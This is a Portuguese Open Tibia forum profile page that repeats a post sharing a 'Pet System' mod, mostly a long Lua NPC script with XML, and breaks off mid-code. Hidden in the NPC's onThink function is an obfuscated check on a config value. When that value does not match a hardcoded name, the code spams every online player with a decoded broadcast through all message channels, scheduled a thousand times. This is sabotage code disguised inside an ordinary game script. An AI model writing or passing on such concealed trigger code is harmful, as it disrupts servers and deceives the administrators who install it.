Ir para conteúdo

Fox B.

Membro
  • Registro em

  • Última visita

Histórico de Curtidas

  1. Gostei
    Fox B. recebeu reputação de Rooan em Pet system ~ By Delyria   
    [8.54~60][Tfs(testei)]Pet System




    Nome: Pet System
    Versão: 8.5~8.54~8.60
    Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:




    Bem, vamos ao que intereça agora?
    Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.



    COMANDOS!



    NPC PET TRAINER (Npc reviver)

    Pet-trainer.lua (em npc/scripts)

    local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc>

    BUGS Arrumados:


    CREDITOS:
    Delyria = 90%
    FoX B. = 10%

    *SCan Do Arquivo

    Gostou? REP+
    Petsystem~MOD.zip
  2. Gostei
    Fox B. recebeu reputação de gangor em Pet system ~ By Delyria   
    [8.54~60][Tfs(testei)]Pet System




    Nome: Pet System
    Versão: 8.5~8.54~8.60
    Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:




    Bem, vamos ao que intereça agora?
    Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.



    COMANDOS!



    NPC PET TRAINER (Npc reviver)

    Pet-trainer.lua (em npc/scripts)

    local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc>

    BUGS Arrumados:


    CREDITOS:
    Delyria = 90%
    FoX B. = 10%

    *SCan Do Arquivo

    Gostou? REP+
    Petsystem~MOD.zip
  3. Gostei
    Fox B. recebeu reputação de 157kolosso em [COMPILANDO] Tfs 0.4 trunk.r3777   
    pode ser 2 problemas ai...

    1º - COmpilação errada (tente compilar novamente e com mais cuidado)

    2º - Muitos Tfs 3777 necessitam de umas DLL's a + por isso postei aqui as Dll do meu servidor(completo - Pesado - NO-FULL - ZIP) junto com um scan...

    > SCAN <
    DLL.zip
  4. Gostei
    Fox B. recebeu reputação de Rato599 em Pet system ~ By Delyria   
    [8.54~60][Tfs(testei)]Pet System




    Nome: Pet System
    Versão: 8.5~8.54~8.60
    Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:




    Bem, vamos ao que intereça agora?
    Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.



    COMANDOS!



    NPC PET TRAINER (Npc reviver)

    Pet-trainer.lua (em npc/scripts)

    local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 